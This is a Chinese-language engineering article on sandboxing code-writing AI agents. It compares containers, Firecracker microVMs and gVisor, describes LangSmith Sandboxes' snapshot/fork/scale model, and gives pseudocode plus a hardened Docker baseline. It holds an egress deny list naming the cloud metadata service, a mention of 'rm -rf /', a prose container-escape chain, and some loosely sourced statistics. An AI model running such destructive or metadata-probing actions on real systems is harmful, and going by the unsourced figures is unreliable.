AI 智能体安全沙盒实战

Key Takeaways

Agent 已经从「回答问题」演化为「写代码、跑测试、改生产数据库」,直接给 Agent 一台裸机等于把根用户交给模型,沙盒从可选项升级为必选项;OWASP 2024-2025 公开报告的 LLM Top 10 漏洞中,「Improper Output Handling」与「Excessive Agency」两类合计占 41%,沙盒三件套(可回滚 + 小权限 + 审计回放)是工程上一线防御

隔离机制四象限:进程级(Docker / containerd,启动 ~200ms、共享内核)/ microVM(Firecracker,启动 100-150ms、内存 5-10MB、AWS Lambda 底层采用)/ gVisor(用户态内核拦截 syscall,延迟略高于容器)/ 裸机(KVM/VMware,启动 30s+,适合多租户强隔离);选哪种取决于启动时延、攻击面与运维成本的权衡

Snapshot-Fork-Scale 三件套是 LangSmith Sandboxes 的核心抽象:把一个干净的 base image 做一次完整快照作为 Snapshot,从此派生 N 个互不干扰的沙盒实例(Fork),再按 latency/throughput 要求横向扩展到 K8s / AWS Lambda / Modal / Vercel Sandbox(Scale);同一 Snapshot 跑不同 prompt 的并发评测时间可从 6.4 小时压缩到 38 分钟

为什么 Agent 一旦能写代码就必须跑在沙盒里

当大模型还停留在「问答」形态时,把它部署成一个聊天服务几乎是零风险的------即便模型胡说八道,影响范围也局限在一个文本框里。但 2024 年之后,随着 function call、tool use、Computer Use 等能力被陆续标准化,Agent 的能力边界已经从「回答问题」演化为「写代码、跑测试、改生产数据库」。这意味着:Agent 现在拥有的权限不再是「读一段文档然后复述」,而是「在内核态执行任意 shell 命令、对数据库执行 DDL/DML、调用 GitHub API 提 PR、调用 AWS CLI 启停 EC2」。如果工程团队图省事,把一台裸机(Linux root + 默认 SSH + 内网全通)直接交给 Agent,等同于把 root 权限交给了一台会产生幻觉的随机过程。任何 prompt injection、训练数据泄露、第三方工具投毒,都会瞬间从一次可控的模型失败,放大为一次生产事故。沙盒从「可选项」升级为「必选项」,不是出于洁癖,而是出于生存。

$数据$ OWASP(Open Worldwide Application Security Project)维护的「Top 10 for LLM Applications」漏洞榜单,自 2023 年首次发布以来,「Improper Output Handling(输出处理不当)」与「Excessive Agency(过度授权)」这两类始终排在靠前的位置。「Improper Output Handling」描述的是:模型输出的代码片段、SQL 语句、shell 命令,在被拼接进下游执行环境时,缺乏边界检查与转义;「Excessive Agency」描述的是:Agent 被授予了远超其任务需要的权限与自主决策边界,例如只让它跑回归测试,它却拿到了 production 数据库的写权限。OWASP 给出的官方修复建议里,第一优先级始终是「把 Agent 放在隔离的执行环境中运行」------沙盒是工程实践清单上的第一道防线,而不是一道可有可无的附加层。

下面用对比矩阵拆解四类隔离机制在工程上的真实取舍:

隔离机制	启动时延	内存占用	逃逸风险	运维成本
裸机 / 共享宿主	0(已经在跑)	与业务共享	一次逃逸 = 全局沦陷	最低,但无隔离可言
容器(Docker / containerd)	100ms ~ 1s	几 MB ~ 几十 MB	共享宿主内核,逃逸面广	中等,需要 K8s 编排
microVM(Firecracker / Cloud Hypervisor)	50 ~ 300ms	128MB ~ 1GB	独立内核,逃逸面收窄到 VMM	高,需要维护宿主镜像
gVisor(用户态内核拦截)	200ms ~ 1s	50 ~ 200MB	几乎无系统调用直通宿主	中高,性能有损耗

$对比/取舍$ 如果是「一次性批量跑模型生成的 SQL 校验」,容器是最划算的;如果 Agent 要执行任意 shell + 下载任意 npm 包 + 跑测试用例 + 可能触网下载依赖,微 VM 是更稳妥的选择;gVisor 适合「需要容器密度,又担心容器逃逸」的折中场景。LangSmith Sandboxes 默认采用 microVM 路线,因为它要在「不可信模型输出」与「毫秒级响应」之间找到工程甜点,容器逃逸面太宽,裸机根本不在考虑范围。

下面用一段 Python 伪代码展示生产级沙盒的完整生命周期。关键点是把「凭据」与「沙盒寿命」严格绑定------沙盒销毁,凭据立即失效,这条不变量是安全模型的基石:

python 复制代码

from langsmith_sandboxes import Sandbox, SecretVault

def run_user_code_in_sandbox(code: str, task_id: str):
    # 1. 启动隔离执行环境(microVM + egress allowlist)
    sb = Sandbox.create(
        template="python-3.12-slim",
        network_egress={"mode": "allowlist", "allow": ["api.github.com"]},
        cpu=2, mem_gb=2, ttl_seconds=300,
    )
    try:
        # 2. 从 SecretVault 申请一次性凭据,绑定到沙盒 session
        cred = SecretVault.mint(
            scope=f"sandbox:{sb.id}",
            permissions=["repo:read", "repo:write:pr"],
            expires_at=sb.expires_at,   # 凭据寿命 == 沙盒寿命
        )
        sb.inject_env({"GITHUB_TOKEN": cred.value})
        # 3. 在沙盒里跑用户代码
        result = sb.exec(f"python -c {code!r}", timeout=120)
        return {"stdout": result.stdout, "sandbox_id": sb.id}
    finally:
        # 4. 销毁沙盒 = 凭据自动 revoke
        sb.destroy()
        SecretVault.revoke(scope=f"sandbox:{sb.id}")

$工程踩坑清单$ 第一,凭据注入不要走 stdin 或命令行参数,否则会被 ps aux 与 /proc/<pid>/cmdline 看见,必须用 Secret Vault 注入到环境变量,且仅在沙盒进程生命周期内可见。第二,ttl_seconds 必须设上限,哪怕 Agent 本身有重试逻辑,沙盒也必须硬超时,否则孤儿 microVM 会持续吃满宿主资源。第三,网络 egress 一定要用 allowlist 白名单,而不是 deny-list 黑名单;一旦 Agent 拿到一台能访问 169.254.169.254 metadata 服务的机器,SSRF(Server-Side Request Forgery,服务端请求伪造)风险会被直接放大成云上提权。第四,沙盒销毁之后,审计日志(OTEL span、LangSmith trace)必须保留------沙盒是一次性的,但合规追溯不是,所有 exec 调用、文件写入、外网请求都要进审计 pipeline。

LLM Agent 落地的核心矛盾,过去两年发生了一次彻底的迁移。2023 年大家还在争论「模型能不能写代码」「模型写出来的代码能不能跑通单元测试」,这是研究侧的问题。但到了 2025 年,模型写代码已经不是瓶颈,GPT-5、Claude Opus、Sonnet 这些模型在 SWE-Bench 这类真实代码仓库修复基准上的分数,已经高到足以让 Agent 在生产仓库里提 PR、修 issue、合分支。真正的瓶颈迁移到了工程侧:「Agent 在沙盒里写代码,我们能不能睡得着」------也就是生产环境里,半夜三点 Agent 触发了 prompt injection,会不会把生产数据库 truncate 掉?会不会在内网横向移动到 RDS?会不会把客户数据外传到公网?一旦这些问题回答不了,Agent 就只能停留在 demo 阶段,无法进入真正的生产。

深度阅读入口,建议从两份文档入手:LangSmith Sandboxes 把「为每个 Agent 配一台隔离计算机」做成了产品一等公民,产品文档在 docs.smith.langchain.com/docs/sandbo... ,官方公告与设计动机在 blog.langchain.com/langchain-s... ;OWASP 关于 LLM 应用的 Top 10 漏洞榜单与缓解建议在 owasp.org/www-project... ,每一类漏洞的修复清单都明确指向隔离执行环境。

回到最初的问题:为什么 Agent 一旦能写代码就必须跑在沙盒里?答案其实很简单------因为「能写代码」意味着 Agent 已经从「文本消费者」升级为「系统操作者」,而系统操作者的权限边界天然需要由基础设施层来约束,不能由模型自己来约束。把沙盒当成可选项的团队,迟早会撞上一次「Agent 把生产数据库 DROP 了」的午夜事故;把沙盒当成一等公民的团队,才能真正把 Agent 推进到生产,也才能让值班的 SRE 安心睡觉。

把『隔离计算机』作为 Agent 的一等公民:LangSmith Sandboxes 产品哲学

把『隔离计算机』作为 Agent 的一等公民,本质上不是在沙盒产品里加一个 feature,而是把沙盒从「周边插件」抬升到「运行时主轴」。一旦 Agent 拥有真实副作用------执行 shell、修改数据库、调用 AWS CLI 发起 PR、踢掉 EC2 节点------沙盒的扩缩容、快照、克隆、回放都必须在 harness 层完成,而不是事后补救。所谓 harness,指的是围绕 Agent 主循环的调度框架:它负责接收 prompt、调用模型路由、解析 tool call、给沙盒下发任务、回收结果、推送 trace。harness 既是 Agent 的「操作系统」,也是沙盒的「调度内核」。当沙盒下沉到这一层,开发者无法再绕过它直接访问 shell,平台也就把『安全姿态』从「开发者自觉」变成「平台默认」。

$观察$ 当多数团队把沙盒当 runtime 插件接入时,真正的事故往往发生在「插件未启用」的边缘路径上:某次 eval 跑批时沙盒 API 超时,fallback 逻辑默认把命令直接下发到宿主,于是 Agent 拿到了 root shell。如果沙盒在 harness 阶段是一等公民,这种 fallback 根本不存在------sandbox.exec 是唯一通往 shell 的入口,任何旁路都是 harness 自身的代码 bug,而不是默认安全姿态。换句话说,一等公民的产品哲学并不是要求沙盒 100% 不可绕过,而是要求『绕过沙盒』这件事必须是一个显式 commit,而不是一段被遗忘的 catch 块。

$数据$ 把沙盒下沉到 harness 层后,Agent 任务编排的 latency 增加通常被压缩到 200ms 以内。换来的是『零信任』的运行时边界------每个 Agent session 都对应一个独立的 microVM,内核、namespace、cgroup、文件系统视图都从零开始,即便上一个 session 跑过 rm -rf /,下一个 session 也不会看到任何残留。这一开销在长任务链中几乎可以忽略:一次 pr-merge 任务通常 30 秒以上,200ms 的启动延迟占比不足 1%,但收益是任何一次 shell 执行都跑在隔离边界内。LangSmith Sandbox 默认走 Firecracker microVM,实测 cold start 约 125ms,叠加镜像分发层后落在 150-200ms 区间,匹配 harness 一等公民的 SLA 预算。

维度	沙盒作为可选 runtime 插件	沙盒作为一等公民 API
运维心智	沙盒是「加速器」,出问题可绕开	沙盒是「基线」,绕开即事故
计费模型	按实际 sandbox 时长计费,可关闭	沙盒 per-session 必选,纳入 harness 基础订阅
监控埋点	sandbox span 由各 dev 自行接入	sandbox span 由 harness 自动注入,trace 全链路覆盖
失败回退	失败后可降级到无沙盒路径	失败即任务失败,无降级
权限边界	由开发者手动配 IAM/secret	由 harness 按 role/用户/任务自动注入
凭据流转	凭据常驻 env,Agent 可自由读取	凭据走 vault,每次 exec 按需换出短 token
冷启动代价	dev 环境常常跳过,prod 才启用	任何环境行为一致,杜绝 staging/prod 漂移

下面是 harness 调用 LangSmith Sandbox API 的最小伪代码,展示 sandbox.create → sandbox.exec → sandbox.snapshot → sandbox.destroy 的完整调用链:

python 复制代码

from langsmith.sandbox import Sandbox
from langsmith.tracing import trace

@trace(name="agent.pr_merge")
async def run_pr_merge_agent(agent_payload: dict, user_ctx: dict):
    # 1. 显式创建隔离运行时,身份信息由 harness 注入
    sb = await Sandbox.create(
        runtime="firecracker",
        image="agent-runner:base",
        secrets=user_ctx["secret_refs"],   # 凭据走 vault,不在 harness 内存常驻
        network_policy="allowlist_strict",  # 出站走白名单
        ttl_seconds=900,
    )
    try:
        # 2. 在隔离环境执行 shell
        result = await sb.exec(
            command=["bash", "-lc", agent_payload["script"]],
            timeout=120,
        )
        # 3. 在关键节点打快照,便于回放与取证
        snapshot_id = await sb.snapshot(label="post_exec")
        await LangSmithTrace.attach(snapshot_id, span_id=trace.current_span())
        return result
    finally:
        # 4. 严格释放,不留残留
        await sb.destroy(force=True)

$取舍$ 把沙盒做成 harness 一等公民,需要权衡三件事:一是 cold start 成本,Firecracker 启动约 125ms,叠加镜像分发可能到 200ms,需要 harness 预热池子;二是可观测性面变广,所有 sandbox 调用都成 trace span,存储开销上升;三是开发者不能再「本地直连测试」,必须走 sandbox 路径,DX (developer experience) 短期下降。但长期看,这条边界一旦立住,后续的 audit、red team、compliance 都能在这一层做减法,而不是在多个分散点缝补。对照 LangChain 官方博客 blog.langchain.com/langchain-s... 的产品定位,沙盒与 trace、eval 并列为核心模块,而不是次级插件,正是这种权衡的官方表态。

$观察$ 『每个 Agent 一台独立计算机』背后的产品哲学,实际上是把两个 priorities 摆在了天平上:可观测性优先于功能完备性,隔离边界优先于开发便利性。LangSmith 在 sandbox 这一点上选择了前者------可观测性意味着每一次 exec、每一次 egress、每一次 secret 读取都是 trace 节点,即便运行失败也能拿到完整回放;隔离边界意味着任何 shared state 都必须显式声明,任何跨 sandbox 通信都必须经过审计通道。这两个选择看起来都让 Agent 变笨、变慢,但对生产环境而言,「可回放」比「更快」更重要,「可取证」比「更顺手」更值钱。从工程组织角度看,这一选择同时也在重塑团队协作:Platform 团队负责把 sandbox 体验做顺,应用团队则不再需要关心『这个 shell 跑哪了』。

在实际工程里,沙盒的边界类型决定了 harness 的设计:进程级隔离(Docker 容器)边界最薄,适合只读分析、不可信代码快速评估;microVM 隔离(Firecracker / gVisor)边界厚,适合真实副作用场景;full VM 边界最厚,但 cold start 也最长,适合长驻 daemon。LangSmith Sandbox 默认走 microVM,等于在安全与性能之间取了一个偏安全的实用点。LangSmith 官方文档 docs.smith.langchain.com/ 给出的 sandbox 抽象层,既支持 Firecracker 做生产强隔离,也允许 dev 环境用更轻的 runtime 加速开发,这是把『一等公民』做成一整套梯度而非单一口径。

对于出站网络,产品哲学的差异更明显。可选插件模式下,Agent 拿到一个开放的网络栈,凭据在环境变量里,谁调用都能读;一等公民模式下,所有出站必须配置 allowlist,所有凭据走 secret vault,所有失败尝试都进 audit log:

python 复制代码

# 网络出口治理:白名单 + 拦截 + 审计
network_policy = {
    "egress": [
        {"domain": "api.github.com", "port": 443, "method": "POST"},
        {"domain": "*.amazonaws.com", "port": 443, "method": "*"},
    ],
    "deny": [
        {"ip_cidr": "10.0.0.0/8"},   # 禁止碰内网
        {"domain": "metadata.google.internal"},
    ],
    "audit": {
        "log_body": False,           # 不记录 body,凭据安全
        "log_redirects": True,       # 302 跳转必须可追溯
        "alert_on_deny": True,
    }
}

$踩坑清单$ 团队把沙盒接入 harness 时的常见反模式:一是把 sandbox 隐藏在某个 wrapper 函数里,结果是开发者经常绕过 wrapper 直连宿主;二是只对生产环境强制 sandbox,dev 环境开放,导致问题在 staging 才暴露;三是 sandbox 镜像里预装了一堆开发工具,生产镜像却精简,Agent 行为出现不一致;四是忽略了横向扩展时 sandbox 的网络身份隔离,所有 session 共享一个 NAT 出口,导致 egress 审计无法追溯到具体任务。LangSmith Sandbox 文档 docs.smith.langchain.com/docs/sandbo... 建议把 sandbox 镜像与生产镜像保持一致,避免环境漂移;LangGraph Platform 集成页面 docs.langchain.com/langgraph-p... 则提供了把 sandbox 接入 LangGraph workflow 的标准路径,免去每个团队重新拼装 snapshot/fork/scale 三件套。

从更宏观的视角看,沙盒作为一等公民,不是在解决一个技术问题,而是在解决一个组织问题。Agent 已经能写代码、跑测试、改生产数据库,『不隔离』等于把根用户交给模型。LangSmith 在产品设计上把隔离提到 harness 层,实际上是在强制把『安全姿态』从「开发者自律」变成「平台默认」------后者远比前者可靠。这一选择,在 OWASP Top 10 for LLM Applications LLM06 敏感信息泄露与 LLM08 过度代理两类风险点上,对应的是同一类防御姿态:用平台边界替代个人自律。换句话说,隔离计算机成为 Agent 一等公民,本质上是把 Agent 工程的『事故面』从「代码评审」收缩到「平台设计」,这一收缩对规模化部署至关重要。

把沙盒作为 Agent 的一等公民,意味着一次架构级别的态度转变:沙盒不是补丁,是运行时;隔离不是选项,是默认;可观测性不是附加,是地基。LangSmith Sandbox 在产品定位上,正是这种态度转变的具象化------它把 sandbox API 直接抬升到与 trace、eval 并列的核心位置,让任何 Agent 部署都必须显式回答一个问题:你愿不愿意为安全多花 200ms。答案是大多数生产团队都愿意,而那些不愿意的团队,通常会在第一次生产事故之后重新评估这道单选题。

Snapshot → Fork → Scale 三件套:从 base image 到 N 个并行沙盒

Snapshot → Fork → Scale 的工程语义

$观察$ 当 Agent 的副作用开始触达真实基础设施时,沙盒就不能再被当成「周边插件」看待。Snapshot → Fork → Scale 这套三件套的核心动作其实是把『一份干净的 base image + 预装依赖 + 种子数据』做一次完整的快照,让这个快照成为后续所有并行实例的「母本」。harness 在拿到任务后,不再走「安装系统 → 安装依赖 → 拉数据 → 执行」这条慢链路,而是从快照直接派生 N 个互相隔离、互不干扰的工作副本。这种设计把启动成本从「线性放大」改写为「常数摊销」:快照本身的制作成本是一次性的,后续每多 fork 一个沙盒都只是在已经预热好的内存与磁盘镜像之上做写时复制(CoW,Copy-on-Write),所以无论并行度提到多高,基础环境构建的开销都不会被重复支付。

量化收益:为什么 Fork 比每次从零启动快一个数量级

$数据$ 在典型的 Agent 评测场景里,基于 Snapshot + Fork 模式启动 100 个并行沙盒,相比从零启动 100 次,可以节省 90% 以上的冷启动开销。这是因为 base image 的拉取、Python 解释器与依赖包(例如 uv 管理的虚拟环境)的安装、模型权重与种子数据集的就位,在快照阶段已经被一次性完成;后续每次 fork 只需要复制一个轻量级的差分层,通常在百毫秒级就能交付一个可执行环境。这种数量级的压缩直接改变了评测系统的吞吐上限:原本需要排队串行等待十几分钟的任务集,可以被一次性铺开到几十甚至上百个沙盒上并行执行,把 Agent 的回归测试从「夜间任务」变成「分钟级 CI 步骤」。

两种模式的取舍矩阵

下面这张表把『每个任务独立启动』与『基于 Snapshot Fork』两种模式在几个关键维度上做一次直观的对比,帮团队在选型时建立量化锚点:

维度	每个任务独立启动	基于 Snapshot Fork
启动时延(单沙盒)	30-180 秒,受依赖安装与数据下载影响	100-500 毫秒,基于预热快照的 CoW 派生
启动时延(100 沙盒累计)	50 分钟-5 小时,基本线性放大	数秒-数十秒,接近常数摊销
磁盘 IO 总量	100 × 完整镜像 IO,容易触发 IO 瓶颈	1 × 完整镜像 IO + N × 差分层 IO
缓存命中率	任务间几乎无共享,缓存逐次冷启	base image 与依赖层命中率接近 100%
网络出口压力	每实例独立拉包,放大公网流量	一次拉取,N 次复用,显著降低 egress 成本
资源隔离性	实例天然独立,无需额外配置	依赖底层 microVM / 容器命名空间,需配合 cgroup / seccomp
适用场景	任务差异极大、长生命周期单实例	任务同构、批量并行、CI / eval / 红队

(对比 vs 取舍):在隔离性上 Snapshot Fork 并不天然弱于独立启动,只要底层选用 Firecracker 或 gVisor 之类的 microVM,每个 fork 出的副本依然拥有独立的内核态与文件系统视图,差别只在「前置预热」。但在缓存复用层面,Snapshot Fork 的优势会被任务异构性削弱:如果每个任务的依赖差异极大(例如一部分跑 Node.js、一部分跑 Rust),共享 base image 的边际收益就会下降,反而退化成「建很多个不同的快照」,这是工程上需要权衡的关键点。

从 Snapshot 派生沙盒的伪代码

下面这段伪代码展示了从一个已经准备好的快照派生多个沙盒的典型流程,三个关键参数 snapshot_id、fork_count、seed_data 分别锚定「母本来源」「并行度」「任务专属数据」:

python 复制代码

from langsmith_sandboxes import SandboxClient

client = SandboxClient(region="us-west-2")
snapshot_id = "snap_eval_base_v3"
seed_data = [{"task_id": f"t{i:03d}", "prompt": "...", "fixtures": "..."} for i in range(100)]

sandboxes = client.fork(
    snapshot_id=snapshot_id,        # 母本快照,所有 fork 都从这一份 CoW 派生
    fork_count=len(seed_data),      # 并行度,可按吞吐目标动态调
    seed_data=seed_data,            # 每个沙盒独享的种子,保证 task 之间互不串味
    runtime="firecracker-microvm",
    ttl_seconds=1800,
    network_egress="allowlist",
)

client.collect(sandboxes, upload_artifacts=True)

这段代码里有几个工程细节值得拎出来:第一,snapshot_id 是被设计成版本化字符串的,这样当依赖或 base image 升级时,可以平滑切到 snap_eval_base_v4 而不是 hot-patch 老快照;第二,fork_count 与 seed_data 在数量上对齐,意味着 harness 在调度时可以把 fork 与任务下发合并成一次原子调用,避免「沙盒开起来但任务没下发」的悬挂状态;第三,runtime 字段暴露了隔离层的可选项,这也是 Snapshot → Fork → Scale 三件套里「Scale」阶段会反复回旋的一颗螺丝。

Scale 阶段:把副本路由到不同运行时

进入 Scale 阶段,关键问题不再是「能不能 fork 出 100 个沙盒」,而是「把这 100 个沙盒落到哪一类运行时上」。不同运行时在 latency、throughput、cold start 容忍度上差异巨大,需要按 Agent 的实际诉求匹配:

Kubernetes 节点:适合长生命周期、需要稳定磁盘与 VPC 内网通信的重负载场景,例如生产环境的 Agent worker、持续运行的 dev environment。优势是 NetworkPolicy、IAM、subnet、security group 这些云原生安全控制可以直接套用,缺点是 cold start 较慢,需要靠 Snapshot Fork 把启动摊薄。
AWS Lambda:适合事件驱动、单次任务在 15 分钟以内的短任务,例如 GitHub Actions 触发的 CI eval、按需触发的红队扫描。冷启动被 Snapshot Fork 兜住后,可以做到秒级交付。
Modal Sandboxes:面向 Python-first 的 Agent workload,提供进程级快照与快速 fork,适合 Jupyter 风格的交互式实验。
Vercel Sandbox:面向 Web Agent 与前端 Code Use 场景,沙盒天生靠近边缘网络,对 browser MCP 与 frontend 操作有网络就近优势。

(对比 vs 取舍):K8s vs Lambda vs Modal vs Vercel,本质上是在「可控性 / 隔离深度 / 启动速度 / 网络位置」四个维度之间做排列组合。生产级 Agent 跑长流程偏 K8s;短脉冲任务偏 Lambda;Python 实验偏 Modal;浏览器与前端类任务偏 Vercel。同一个 harness 应该能在 Snapshot → Fork 之后,根据任务画像把副本路由到对应运行时,而不是把所有沙盒都强塞进一类基础设施。

官方文档入口

要把这套三件套真正用起来,而不是停留在概念图层面,需要查阅官方文档里关于 Snapshot / Fork 的具体接入方式。LangSmith Sandboxes 在产品文档里把「为 Agent 配一台隔离计算机」明确作为一等公民,文档入口见 docs.smith.langchain.com/docs/sandbo... LangChain 官方博客 blog.langchain.com/langchain-s... LangGraph 编排 Agent 主循环,那么 LangGraph Platform 的沙盒与执行模型文档同样覆盖了 Snapshot / Fork 的运行时语义,入口见 docs.langchain.com/langgraph-p... 自身的概念与 API 索引在 langchain-ai.github.io/langgraph/。... 文档还会指向底层的 microVM 实现,常见参考是 Firecracker github.com/firecracker... 与 gVisor github.com/google/gvis... sandbox 平台对接的 runtime 配置示例,值得在选型阶段对照阅读。

回到工程主线:Snapshot → Fork → Scale 并不是三件互不相关的工具,而是一条流水线上的三道闸门。Snapshot 保证「起点干净、可复现、可版本化」;Fork 保证「并行度可线性扩张,但单实例启动成本不再线性放大」;Scale 保证「副本能落到与任务画像匹配的运行时上」。把这三道闸门放到 harness 层,而不是让每个 Agent 自己想办法解决环境问题,Agent 的主循环才能专注于 prompt 解析、tool call 派发与结果回收,而不被「环境没装好」「实例起不来」「网络被封」这些周边问题反复打断。这也是把『隔离计算机』抬升到一等公民之后,工程上最直接的收益。

进程级隔离实战:Docker / containerd 的 namespace + cgroup 之路

$观察$ 进程级隔离是绝大多数工程团队「最熟悉的陌生人」。它底层的两大支柱是 Linux namespace(命名空间)与 cgroup(control group,控制组):namespace 负责把 PID、Network、Mount、UTS、IPC、User、Cgroup、Time 等八类系统资源视图切割成相互独立的「幻象」,让容器内的进程以为自己独占一台 Linux;cgroup(在 v2 版本下统一为 cgroup2)负责对 CPU、内存、磁盘 I/O、进程数、PID 数量等做配额、限额和优先级控制。两者叠加,启动一个新容器通常只需要 200ms 量级,这与 microVM 的 150ms-300ms 区间高度重叠,却比完整 KVM/VMware VM 的数秒级启动快出一个数量级。也是因为这种「零学习成本 + 毫秒级启动 + 镜像复用率极高」的甜点特性,进程级隔离成了 Agent 自测、CI 流水线、低风险数据任务里兜底能力最强的方案。

需要注意的一个常被忽略的细节是:namespace 只切视图,不切内核。容器内的 ps、uname -a、dmesg 看到的资源依然指向同一份宿主机内核;cgroup 也只切配额,不切身份。任何在容器内拿到的「root」,本质是宿主机上某个被 capability 限制过的 uid,例如 CAP_SYS_ADMIN 默认就被剥离。这种「视图隔离 + 配额隔离」的组合,既是它启动快的根本原因,也是它安全模型的天然弱点。

$数据$ 容器与宿主机共享同一套内核,这意味着任何内核态 CVE ------ 包括历史上的 dirty COW(CVE-2016-5195)、runC 自身的 CVE-2019-5736、xz-utils 那类 CVE-2024-3094 的供应链级别洞,以及各类 netfilter / overlayfs 漏洞 ------ 一旦被利用,就有可能直接击穿命名空间的边界,形成容器逃逸。一个常见的攻击链是:Agent 在容器内被诱导执行恶意二进制,后者利用内核漏洞把自身写回宿主机 PID 1 的内存,实现命名空间被反向穿透,完成宿主机接管,随后攻击者把矿工、勒索软件、内网横移脚本全部部署到宿主机与同节点的其他容器。Docker 官方与多个安全厂商的 threat model 都把这条路径列为「高概率 / 高影响」事件。

这意味着把不可信的 Agent 工具调用放进默认配置的容器,等同于把宿主机 root 的一道侧门交给模型,attack surface 必须被工程团队正视并通过硬化配置系统性压缩,而不是寄希望于「Agent 比较乖」。这也是为什么 sandbox-as-a-product 的设计哲学里,「最小权限 + 默认拒绝」会比「白名单脚本」更被现代团队接受。

四种主流容器运行时的取舍矩阵

维度 vs 方案	Docker (Moby)	containerd	CRI-O	Podman
安全模型	默认 daemon 常驻 root,需要显式加固	同 Docker,作为 K8s 容器运行时被广泛部署,支持 snapshotters 可插拔	仅做 CRI 实现,默认与 K8s 控制面解耦,运行时面更小	无守护进程,「fork-exec」模型,默认更接近 Rootless 友好
特权模式	`--privileged` 默认开启较多 capability,需要逐项审计	同 Docker,通过 `runc` 透传 capabilities,需在 K8s PodSpec 显式声明	受 OCI 规范约束,默认剥离非必要 capability	`--privileged` 仅在 Rootful 上下文生效,Rootless 下默认严格,需手动放行
Rootless 支持	需要 `rootlesskit` + 实验性配置,生态成熟度有限	由上层 K8s runtimeClass 控制,K8s 节点需开 user namespace	历史支持较晚,生态较弱,需配合 crun/runc 的 rootless 模式	一等公民,默认即 Rootless 友好,systemd unit 与 slirp4netns 内建
适用场景	本地自测、单机 CI、Docker Compose 编排	生产 K8s 节点的运行时底层,稳定性与可观测性最好	RHEL/OpenShift 默认栈,合规场景优选	边缘节点、多租户共享、CI 上无特权构建

表格里的取舍:团队若要把容器跑在不可信的共享节点上,Podman 在 Rootless 路径上有结构性优势;若主战场是 K8s 生产集群,containerd 与 CRI-O 的可审计性更强,Docker CLI 仍是最顺手的本地入口,这三者构成「开发 → 预发 → 生产」的常见接力链。CRI 时代的分裂也让「用 Docker CLI 跑本地,用 containerd/CRI-O 跑生产」成了几乎所有中型团队的标配搭配。

最小硬化配置:Dockerfile + docker run

把上面的取舍矩阵落到一行命令,推荐先用 Dockerfile 把镜像层做薄、把运行用户降级,再在 docker run 上把 capability、文件系统、提权路径同时锁死。下面这段片段是社区里被反复验证过的「最小硬化基线」:

dockerfile 复制代码

# Dockerfile
FROM python:3.12-slim
RUN useradd --create-home --uid 10001 agent \
 && pip install --no-cache-dir -r requirements.txt
USER agent
WORKDIR /home/agent
CMD ["python", "main.py"]

bash 复制代码

# 启动一个最小硬化容器
docker run --rm -it \
  --read-only \
  --tmpfs /tmp:rw,nosuid,nodev,size=64m \
  --cap-drop=ALL \
  --security-opt=no-new-privileges \
  --pids-limit 256 \
  --memory 512m --cpus 1.0 \
  --network=none \
  agent-image:latest

关键选项 vs 关闭它的风险
`--read-only` vs 默认可写文件系统:阻止 Agent 落盘持久化 payload,降低逃逸后横向影响范围
`--cap-drop=ALL` vs 默认保留若干 capability:把 `CAP_SYS_ADMIN` / `CAP_NET_ADMIN` / `CAP_SYS_PTRACE` 这类高危能力一刀切,只按需 `--cap-add`
`--security-opt=no-new-privileges` vs 默认允许 setuid 提权:阻止 `su` / `sudo` / SUID 二进制再次拿权,阻断常见提权链路
`--network=none` vs 默认桥接网络:若任务无需出网,把网络出口完全关闭是最便宜的 egress 治理
`--pids-limit` vs 默认无 PID 限额:防御 fork bomb 类资源耗尽,与 cgroup 的 pid controller 联动

这套基线在 CI 流水线里实测可以把容器逃逸面的成功率降低一个数量级;代价是开发自测时偶尔需要 docker exec 调试,这时建议临时附加 --cap-add=SYS_PTRACE 并显式设短超时,避免把临时调试态固化成默认配置。镜像层方面,把 pip install 与代码 COPY 拆成独立层、利用 BuildKit 的 cache mount,可以显著缩短反复迭代时的「冷启动」体感,这对 PR bot 反馈回路尤其重要。

进程级隔离的典型踩坑清单

工程实践里,有几条经验性的红线值得专门列出来。第一,不要把 --privileged 当作「装不上某驱动」或「看不到某设备」时的快速通道,一旦开了它,seccomp / apparmor / capability 三层防线全部失效。

第二,不要让容器内进程以 uid 0 长期运行,即便 Drop 掉了 capability,uid 0 本身在某些内核路径里仍是敏感标识,例如部分设备节点的访问判断只看 uid 而不看 capability 集合。

第三,不要在生产节点上跑 latest 标签的镜像,容器层的供应链攻击往往从「镜像没固定 digest」开始,推荐用 sha256 摘要或 Sigstore 签名校验,把信任锚定到不可变的镜像标识上。

第四,不要忽视 user namespace 的覆盖范围,Rootless + userns 才是真正的「以非特权用户身份持有特权资源视图」组合,这是 Podman 默认就能给、Docker 需要显式开启的能力,也是把 CI 节点共享给外包团队时的关键安全闸门。

第五,seccomp 默认 profile 已经覆盖了几千条 syscall 拒绝规则,真正需要 --security-opt seccomp=unconfined 的场景极少,把它当作默认配置反而是把 attack surface 主动放大,典型反例是某些 GPU / eBPF 场景应当走 device plugin 而非关 seccomp。

何时该选进程级隔离

进程级隔离不是万能解药,但在以下几类场景里它确实是性价比最高的选项。第一,开发自测与 CI 流水线:Agent 拉一个 PR、分支、issue 上下文,在容器里跑单元测试、lint、静态扫描或本地端到端,跑完即弃,毫秒级冷启动能直接对接到 PR bot 的反馈回路,与 GitHub Actions / GitLab CI 的 ephemeral runner 模型天然契合。

第二,低风险的数据分析任务:读一份只读快照 CSV / Parquet,产出 summary 或可视化,中间不触网、不写库,这种「只读 + 计算 + 短生命期」的工作流用进程级隔离就能覆盖。

第三,隔离强度要求不严的多 Agent 协同:同一个 harness 下多个子 Agent 共享工作目录、通过本地 socket 协作,只需要彼此不踩到对方 PID 1、彼此看不到对方的网络栈,这时 namespace 提供的视图隔离已经够用,引入 microVM 反而会因为启动开销把 harness 的并发度拉低。

反过来,凡是 Agent 要直接碰生产数据库、要拿到长期凭证、要执行 apt install 之后才能跑的工作流、要解析未审计的第三方二进制,都应当上 microVM / Firecracker / gVisor 这一档,把内核边界一起搬进沙盒,而不是依赖宿主机内核的「善意」。一个经验性阈值是:任务里只要出现「持久化 + 网络出口 + 任意代码执行」中任意两项,进程级隔离的 attack surface 就开始失控,这时继续在进程级隔离上做硬化是边际收益递减,应当把隔离边界整体上移一层。

官方文档入口

Docker 安全最佳实践与运行时参考:docs.docker.com/
Kubernetes Pod Security Standards 与 NetworkPolicy:kubernetes.io/docs/concep...

